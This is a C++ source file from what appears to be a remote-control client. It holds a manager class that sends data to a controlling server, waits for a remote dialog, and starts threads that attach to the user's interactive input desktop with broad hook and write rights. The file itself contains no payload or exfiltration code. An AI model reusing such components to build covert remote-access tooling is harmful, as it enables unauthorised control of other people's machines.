166 lines
4.0 KiB
C++
166 lines
4.0 KiB
C++
// Manager.cpp: implementation of the CManager class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
#include "stdafx.h"
|
|
#include "Manager.h"
|
|
#include "IOCPClient.h"
|
|
#include <process.h>
|
|
|
|
typedef struct {
|
|
unsigned(__stdcall* start_address)(void*);
|
|
void* arglist;
|
|
bool bInteractive; // 是否支持交互桌面
|
|
HANDLE hEventTransferArg;
|
|
} THREAD_ARGLIST, * LPTHREAD_ARGLIST;
|
|
|
|
BOOL SelectDesktop(TCHAR* name);
|
|
|
|
unsigned int __stdcall ThreadLoader(LPVOID param)
|
|
{
|
|
unsigned int nRet = 0;
|
|
try {
|
|
THREAD_ARGLIST arg;
|
|
memcpy(&arg, param, sizeof(arg));
|
|
SetEvent(arg.hEventTransferArg);
|
|
// 与卓面交互
|
|
if (arg.bInteractive)
|
|
SelectDesktop(NULL);
|
|
|
|
nRet = arg.start_address(arg.arglist);
|
|
}
|
|
catch (...) {
|
|
};
|
|
return nRet;
|
|
}
|
|
|
|
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
|
SIZE_T dwStackSize, // initial stack size
|
|
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
|
LPVOID lpParameter, // thread argument
|
|
DWORD dwCreationFlags, // creation option
|
|
LPDWORD lpThreadId, bool bInteractive)
|
|
{
|
|
HANDLE hThread = INVALID_HANDLE_VALUE;
|
|
THREAD_ARGLIST arg;
|
|
arg.start_address = (unsigned(__stdcall*)(void*))lpStartAddress;
|
|
arg.arglist = (void*)lpParameter;
|
|
arg.bInteractive = bInteractive;
|
|
arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL);
|
|
hThread = (HANDLE)_beginthreadex((void*)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned*)lpThreadId);
|
|
WaitForSingleObject(arg.hEventTransferArg, INFINITE);
|
|
CloseHandle(arg.hEventTransferArg);
|
|
|
|
return hThread;
|
|
}
|
|
|
|
BOOL SelectHDESK(HDESK new_desktop)
|
|
{
|
|
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
|
|
|
|
DWORD dummy;
|
|
char new_name[256];
|
|
|
|
if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) {
|
|
return FALSE;
|
|
}
|
|
|
|
// Switch the desktop
|
|
if (!SetThreadDesktop(new_desktop)) {
|
|
return FALSE;
|
|
}
|
|
|
|
// Switched successfully - destroy the old desktop
|
|
CloseDesktop(old_desktop);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
// - SelectDesktop(char *)
|
|
// Switches the current thread into a different desktop, by name
|
|
// Calling with a valid desktop name will place the thread in that desktop.
|
|
// Calling with a NULL name will place the thread in the current input desktop.
|
|
BOOL SelectDesktop(TCHAR* name)
|
|
{
|
|
HDESK desktop;
|
|
|
|
if (name != NULL) {
|
|
// Attempt to open the named desktop
|
|
desktop = OpenDesktop(name, 0, FALSE,
|
|
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
|
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
|
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
|
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
|
}
|
|
else {
|
|
// No, so open the input desktop
|
|
desktop = OpenInputDesktop(0, FALSE,
|
|
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
|
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
|
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
|
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
|
}
|
|
|
|
// Did we succeed?
|
|
if (desktop == NULL) {
|
|
return FALSE;
|
|
}
|
|
|
|
// Switch to the new desktop
|
|
if (!SelectHDESK(desktop)) {
|
|
// Failed to enter the new desktop, so free it!
|
|
CloseDesktop(desktop);
|
|
return FALSE;
|
|
}
|
|
|
|
// We successfully switched desktops!
|
|
return TRUE;
|
|
}
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
// Construction/Destruction
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
CManager::CManager(IOCPClient* ClientObject)
|
|
{
|
|
m_bIsDead = false;
|
|
m_ClientObject = ClientObject;
|
|
m_ClientObject->setManagerCallBack(this);
|
|
|
|
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
|
|
}
|
|
|
|
CManager::~CManager()
|
|
{
|
|
if (m_hEventDlgOpen!=NULL)
|
|
{
|
|
CloseHandle(m_hEventDlgOpen);
|
|
m_hEventDlgOpen = NULL;
|
|
}
|
|
}
|
|
|
|
|
|
int CManager::Send(LPBYTE lpData, UINT nSize)
|
|
{
|
|
int nRet = 0;
|
|
try
|
|
{
|
|
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
|
|
}catch(...){
|
|
Mprintf("[ERROR] CManager::Send catch an error \n");
|
|
};
|
|
return nRet;
|
|
}
|
|
|
|
VOID CManager::WaitForDialogOpen()
|
|
{
|
|
WaitForSingleObject(m_hEventDlgOpen, INFINITE);
|
|
//必须的Sleep,因为远程窗口从InitDialog中发送COMMAND_NEXT到显示还要一段时间
|
|
Sleep(150);
|
|
}
|
|
|
|
VOID CManager::NotifyDialogIsOpen()
|
|
{
|
|
SetEvent(m_hEventDlgOpen);
|
|
}
|